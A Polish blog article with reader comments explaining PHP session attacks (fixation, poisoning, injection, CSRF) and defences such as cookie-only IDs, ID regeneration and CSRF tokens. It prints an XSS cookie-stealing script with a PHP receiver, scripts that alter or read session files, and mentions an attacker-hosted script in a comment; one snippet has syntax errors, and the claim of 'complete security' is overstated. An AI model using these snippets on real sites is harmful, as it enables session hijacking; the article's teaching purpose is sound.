Aplikacje internetowe

Bełdziowe spojrzenie na aplikacje internetowe

Bezpieczeństwo mechanizmu sesji

Czym są sesje?

Sesje są rozwiązaniem problemu bezstanowości protokołu HTTP, w którym żądania nie są ze sobą powiązane. Umożliwiają one identyfikacje żądań poszczególnych użytkowników za pomocą przekazania identyfikatora sesji. Jest on dołączany do każdej odpowiedzi serwera jako ciastko, ukryte pole w kodzie strony lub jako dodatkowy parametr adresu URL.

Fizycznie są to pliki tekstowe zawierające dane przypisane do konkretnych użytkowników.

login|s:7:"beldzio";haslo|s:5:"tajne";

Opis: Przykładowy plik sesji.

Niebezpieczeństwo sesji.

Ze względu na swoją naturę w sesji przechowywane są dane dotyczące konkretnego użytkownika. Mogą to być informacje o wybranej wersji językowej czy szablonie strony, mogą to być również wrażliwe dane takie jak loginy, hasła, dane osobowe.

Warto więc poznać niebezpieczeństwa czyhające na te dane.

Session fixation

Kluczowym elementem w działaniu mechanizmu sesji jest jej identyfikator. To dzięki niemu użytkownik ma dostęp do swojego pliku sesji. Z nim też wiąże się spory problem. Uzyskanie czyjegoś identyfikatora umożliwia dostęp do danych zapisanych w sesji.

Z racji trzymania identyfikatora po stronie użytkownika istnieje możliwość jego kradzieży, a przez to podszycie się pod jego właściciela. Dwie najbardziej popularne metody, a zarazem najprostsze do wykorzystania oraz zabezpieczenia to XSS oraz przekazanie adresu URL wraz ze zmienną sesyjną.

<script type="text/javascript">
  document.write( "<img src='new.php?sesja="+document.cookie+"' />" );
</script>


<?php
  file_put_contents( 'plik.txt', $_GET['sesja'] );
?>

Opis: Zestaw skryptów JavaScript oraz PHP umożliwiający kradzież ciastek.

Aby zabezpieczyć się przez atakiem session fixation należy dokonać dwie czynności. Pierwszą z nich jest dopilnowanie, aby identyfikator sesji zawsze przekazywany był w ciasteczku, a nie jako element adresu. Możemy tego dokonać dodając w pliku pliku :

session.use_only_cookies = 1

Jeśli nie mamy możliwości edycji pliku powyższą zmianę możemy dokonać za pośrednictwem pliku .htaccess umieszczając w nim dwie linijki:

php_value session.use_only_cookies 1
php_value session.use_trans_sid 0

Drugim zabezpieczeniem jest wygenerowanie nowego identyfikatora sesji z każdym wykonaniem skryptu – zmniejsza to możliwość podszycia się pod użytkownika gdy nastąpi kradzież identyfikatora. Służy do tego funkcja

session_regenerate_id( );

Session poisoning

(inne nazwy to: session data pollution oraz session modification)

Skutecznie przeprowadzony atak session poisoning skutkuje możliwością modyfikacji danych znajdujących się w sesji agresora. Może on tego dokonać dwojako.

Pierwszym sposobem jest wykorzystanie błędu braku filtrowania danych płynących od użytkownika, które są umieszczane w sesji.

Do wykonania drugiego sposobu wymagana jest możliwość wgrania plików w ramach tego samego konta co atakowany system. Posiadając taką możliwość możemy na serwerze umieścić plik, którego zadaniem będzie wyświetlenie aktualnych wartości sesji oraz umożliwienie ich modyfikacji.

<?php
  session_start( );

  echo '<pre>';
  print_r( $_SESSION);
  echo '</pre>';

  if( $_GET['nazwa'] )
    $_SESSION[$_GET['nazwa']] = $_GET['wartosc'];
?>

Opis: Kod umożliwiający manipulację zmiennymi sesyjnymi.

Wykorzystując powyższy kod możemy zmienić np. typ użytkownika na administratora etc.

Session injection

Posiadając konto wirtualne u jednego z providerów hostingowych dzielimy zasoby serwera z innymi użytkownikami. W skład tych zasobów wchodzą między innymi pliki. O ile dostępu do plików na naszym koncie chronią poprawnie ustawione uprawnienia dostępu, o tyle sytuacja taka nie zawsze ma miejsce jeśli chodzi o katalog z plikami sesji. Niepoprawnie skonfigurowany serwer może dać nam możliwość nie tylko podglądu ale i modyfikacji plików sesji. Warto zauważyć, że zawartość tych plików nie jest w żadnej sposób szyfrowana.

<?php
  if( $_GET['plik'] )
  {
    $plik = ini_get( 'session.save_path' ) . '/' . $_GET['plik'] );
    die( file_get_contents( $plik );
  }

  foreach ( glob( ini_get( 'session.save_path' ) . '/*' ) as $plik )
  {
    echo $plik . 'size ' . filesize( $plik ) . '<br />';
  }
?>

Opis: Kod umożliwiający listowanie oraz podgląd plików sesji.

Sposobem na zabezpieczenie się przed podglądem pliku sesji jest zmiana katalogu, w którym będą one przechowywane. Możemy tego dokonać korzystając z funkcji

session_save_path( );

Należy pamiętań, aby katalog z plikami sesji nie był publicznie dostępny dlatego powinien znajdować się powyżej katalogu public_html.

Session riding

(inne nazwy to: cross-site request forgery – CSRF, one click attack, session hijacking)

Celem ataku session riding jest wykonanie złośliwego kodu z uprawnieniami zalogowanego użytkownika. Może to doprowadzić do kradzieży danych użytkownika, zamówienie przez niego jakiegoś produktu (w przypadku sklepu), lub w przypadku wykonania kodu przez administratora „dostęp” do panelu administratora.

Zabezpieczenie przed CSRF może wydawać się trudne lecz istnieje kilka sposobów by tego dokonać. Dwa najciekawsze opierają się na tokenach, czyli losowo wygenerowanych ciągach znaków.

Zasada działania pierwszego sposobu opiera się na umieszczeniu dodatkowe pola w każdym znaczącym formularzu. W polu tym będzie znajdował się wygenerowany token, który po wysłaniu formularza będzie sprawdzany z tokenem zapisanym np. w sesji.

Drugi sposób jest „bardziej skomplikowany”, a wraz z tym lepszy. Polega on na stworzeniu „tablicy routingu”. Mianowicie chodzi o tabelkę w bazie danych która będzie zawierała w sobie zestawienie tokenów oraz prawdziwych adresów. Token powinien być generowany inny dla każdego użytkownika. Dzięki temu napastnik nie będzie w stanie wywołać akcji z uprawnieniami zalogowanego użytkownika.

http://www.sklep.pl/?producent=jakis&produkt=inny&akcja=kup
http://www.sklep.pl/?token=djJa76ashHSB

Opis: Zmiana wyglądów adresów po użyciu „tablicy routingu”

Własny mechanizm obsługi sesji.

Sposobem na zabezpieczenie się przed problemami związanymi z natywną obsługą sesji jest stworzenie własnego systemu obsługi sesji. Największy nacisk powinien w niej zostać położony na sposób przechowywania danych oraz zarządzania identyfikatorem sesji.

Najbezpieczniejszym miejscem na przechowywania danych jest baza danych. Aby uzyskać do niej dostęp należy znać dane umożliwiające logowania lub wykonać atak typu SQL Injection. Ze względu na swoją naturę możemy pominąć pierwszy sposób. Drugi atak może zostać przeprowadzony tylko w przypadku błędnie napisanego kodu. Można więc zauważyć, że poprawnie napisany system oraz własny mechanizm sesji daje nam całkowite bezpieczeństwo.

Sposób generowania identyfikatora zależy już tylko od inwencji programisty piszącego ów mechanizm. Można się do tego posłużyć funkcjami generującymi losowe znaki oraz funkcjami hashującymi. Co ważne po każdym wygenerowaniu ID trzeba się upewnić, że jest ono unikalne i nie zostało już wcześniej przydzielone innemu użytkownikowi.

Wygenerowany identyfikator powinniśmy umieścić w cookies oraz dodać dodatkowe zabezpieczenie uniemożliwiające przeprowadzenie ataku session fixation. Może to być dodanie do bazy danych np. adresu IP, który wraz z identyfikatorem będzie jednoznacznie identyfikował użytkownika.

<?php

  class Session
  {
    private function createSession( )
    {
      // utworzenie nowej sesji -
      // zapisanie nowego identyfikatora
    }

    public function destroySession( )
    {
      // zniszczenie sesji -
      // usunięcie danych i id sesji
    }

    private function restoreSession( )
    {
      // przywrócenie sesji -
      // pobranie danych sesji z bazy danych
    }

    private function saveSession( )
    {
      // zapisanie sesji -
      // zapisanie danych do bazy
    }

    private function generateSID( )
    {
      // wygenerowanie identyfikatora
    }

    private function isUnique( $sid )
    {
      // sprawdzenie czy wygenerowany
      // identyfikator jest unikalny
    }

    public function __set( $name, $data )
    {
      // utworzenie nowej zmiennej sesyjnej
    }

    public function __get( $data )
    {
      // pobranie wartości zmiennej
    }

    public function removeOld( )
    {
      // usunięcie wygasłych sesji
    }
  }

?>

Opis: Przykładowy schemat mechanizmu sesji.

W PHP istnieje możliwość podpięcia własnych funkcji zarządzania sesją pod natywną obsługę sesji. Służy do tego funkcja session_set_save_handler Oznacza to tyle, że odwołując się do superglobalnej tablicy sesji ($_SESSION) odwołujemy się niejawnie do naszych funkcji. Oprócz tego, że sposób ten jest wygodny jest również bezpieczny na zmiany w kodzie oraz w sposobie przechowywania danych.

Podsumowanie

Potrzeba przechowywania danych o użytkowniku narzucona jest w niemal każdej aplikacji internetowej. Mimo, że dane te trzymane są po stronie serwera należy dopilnować by były one odpowiednio zabezpieczone.

Artykuł ten miał za zadanie pokazanie jakie niebezpieczeństwo dla danych sesyjnych niesie niepoprawne korzystanie z mechanizmu sesji. Ukazuje on metody nieautoryzowanego dostępu do tych danych oraz sposoby jak je zabezpieczyć.


Tagi: , , , , , , , ,
Kategoria: Bezpieczeństwo, Bezpieczeństwo aplikacji internetowych


16 komentarzy

  1. Marcin "Ktos" napisał(a):

    w pliku pliku ":

    Coś Ci się pomyliło i nie wpisała nazwa pliku (dwa razy) do którego należy to wpisać ;-)

  2. Michał `Bełdzio` Ławicki napisał(a):

    Dzięki :) dobrze wiedzieć, że ktoś to czyta ;-)

  3. Mazur napisał(a):

    Bardzo fajny artykuł aż się miło czytało :-).
    Nawet nie myślałem że takie zagrożenie może być w sesjach. Duże dzięki.

  4. Ali napisał(a):

    Dobrze, dobrze, a nazwy nie poprawiłeś :P.

    <p>Jeśli nie mamy możliwości edycji pliku " powyższą zmianę możemy dokonać za pośrednictwem pliku .htaccess umieszczając w nim dwie linijki:</p>

  5. Michał `Bełdzio` Ławicki napisał(a):

    he he ;-) właśnie wrzucałem jeszcze raz tekst i w pliku źródłowym nie zmieniłem he he thx ;-)

  6. Mario napisał(a):

    Artykuł fajny, ale jakbyś jeszcze zarzucił linkiem z jakimś mechanizmem sesji, z którego można by skorzystać zamiast tego wbudowanego w php :P

  7. Michał `Bełdzio` Ławicki napisał(a):

    Pod koniec arta masz szkielet klasy do obsługi sesji, wystarczy wypełnić metody kodem i już :-) Jeśli Ci to nie odpowiada to zapoznaj się z obsługą sesji z popularnych frameworków i dostosuj ich kod do swoich wymagań.

  8. Mario napisał(a):

    Musze tu częściej zaglądać :)

  9. Routing i tokeny chyba nie są dobrym mechanizmem obrony przed session riding. Zacznę od tokenów. Załóżmy, że użytkownik abuseowany jest zalogowany do aplikacji sklepu internetowego. Użytkownik wchodzi na stronę sklepu podmieniona przez złośliwego użytkownika lub administratora, lub nawet przez użytkownika forum z możliwością dodawania zewnętrznych plików. Strona zawiera znacznik <img src="http://aplikacja.atakujacego.org/atak-sr.php"&gt;. Wtedy URL zostaje odpalony i dostaje m.in plik Javascript zbudowany w technologii AJAX. Jeśli chronione są tylko niektóre strony czy formularze, wystarczy, żeby spreparowany GET w AJAX zaczynał od strony nie chronionej przez token, wtedy pobierze token dokładnie taki, jaki jest wymagany. Wtedy dla serwera sytuacja wygląda tak, jakby użytkownik miał otwarte dwie strony tego samego serwisu (np. newsy i forum). Z tych powodów niemożliwe jest odświeżanie tokena po każdym przejściu do kolejnej strony i jednocześnie akceptowanie tylko ostatniego tokena, bo w drugim oknie będzie wylogowany. Byłoby to trochę frustrujące, jeśli użytkownik rozmawia na chacie AJAXowym i jednocześnie pisze coś na forum i nagle z jednego go wyrzuca.

    To samo z routingiem. Musiałby powstać zaawansowany system śledzący kolejne przejścia użytkownika i rozgałęziające jego adresy. Szczerze powiedziawszy nie widzę takiego systemu – szczególnie w obliczu tzw. Web 2.0 – aplikacji zakładającej identyfikację i interakcję użytkownika.

    Moim zdaniem, system zabezpieczający wrażliwe części systemu przed session riding powinien zaczynać się od edukowania użytkowników i ograniczania im dostępu. Filtrowanie i przepisywanie znaczników też może mieć swoje efekty. Jednak najwrażliwsze części systemu powinny być zabezpieczone czymś, czego komputer nie potrafi odczytać (przynajmniej nie na tyle, żeby w miarę szybko odpowiedzieć) – czyli obrazkiem. Zabezpieczony i zamazany kod wyświetlony przez formularz potwierdzeniowy (sic!) musi być odczytany przez człowieka i człowiek musi podać jego zawartość. W ten sposób nie ma możliwości, aby bot zamówił nam niechciany komputer na przykład.

  10. Michał "Bełdzio" Ławicki napisał(a):

    ad token: token nie jest generowany w każdym miejscu serwisu, a tylko na stronie kupna tak więc nie problemu z konfliktem tokenów ajax tu nic nie zdziała

    ad routing: to samo co wyżej token routingu generowany jest za każdym razem jak user wchodzi w sekcje kupna czyli token = 12345 może wskazywać na ten sam produkt co token = 09876

    ad ograniczenie dostępu: jakoś nie widzę możliwości ograniczenia możliwości kupna produktu userom w sklepie internetowym :-)

    to w kwestii programisty leży kwestia zapewnienia userwi bezpieczeństwa na stronie

    ad captcha: wyciągnięcie tokena z obrazków nie jest wcale takie trudne jak się wydaje, w necie jest pełno softu do tego. Captcha zapewnia tak długo bezpieczeństwo do póki nie powstanie dla niego OCR tak więc nie ma co liczyć na pełne bezpieczeństwo

  11. swietny artykul i bardzo fajna strona, pozdrawiam !

  12. Strummer napisał(a):

    Szukałem mechanizmu który ‚na pierwszej stronie’ generuje losowy id ale jest odporny na odświeżanie , coż znalazłem coś co mnie skłania do dalszych eksperymentów nad własnymi
    mechanizmami :) Trafiasz do Ulubionych :)

    pozdrawiam

  13. BnG napisał(a):

    Artykuł dobry. Dzięki za podzielenie się wiedzą.

  14. ciekawie napisane, spora dawka informacji w jednym miejscu
    właśnie walczę ze e-sklepem i już przed przeczytaniem artu wpadł mi do głowy podobny system zabezpieczenia (token) przed botami, pozdro!

  15. Adrian napisał(a):

    No dobra wszystko jasne tylko mam pytanie jak osoba z poza mojego serweru nie mająca do niego dostępu może wykonać na nim plik php?(tak jestem laikiem:P)

  16. Wszystko zależy od serwisu i od podatności jakie przejawia. Na blogu jest kilka notek zahaczających o tematykę wgrywania swoich plików. Np.

    http://www.beldzio.com/obsluga-plikow-a-sql-injection
    http://www.beldzio.com/kategoria/bezpieczenstwo/upload-bezpieczenstwo

Dodaj komentarz